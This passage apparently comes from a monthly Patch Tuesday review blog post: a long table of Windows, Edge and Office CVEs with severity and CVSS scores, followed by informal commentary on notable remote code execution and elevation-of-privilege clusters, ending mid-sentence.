CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass 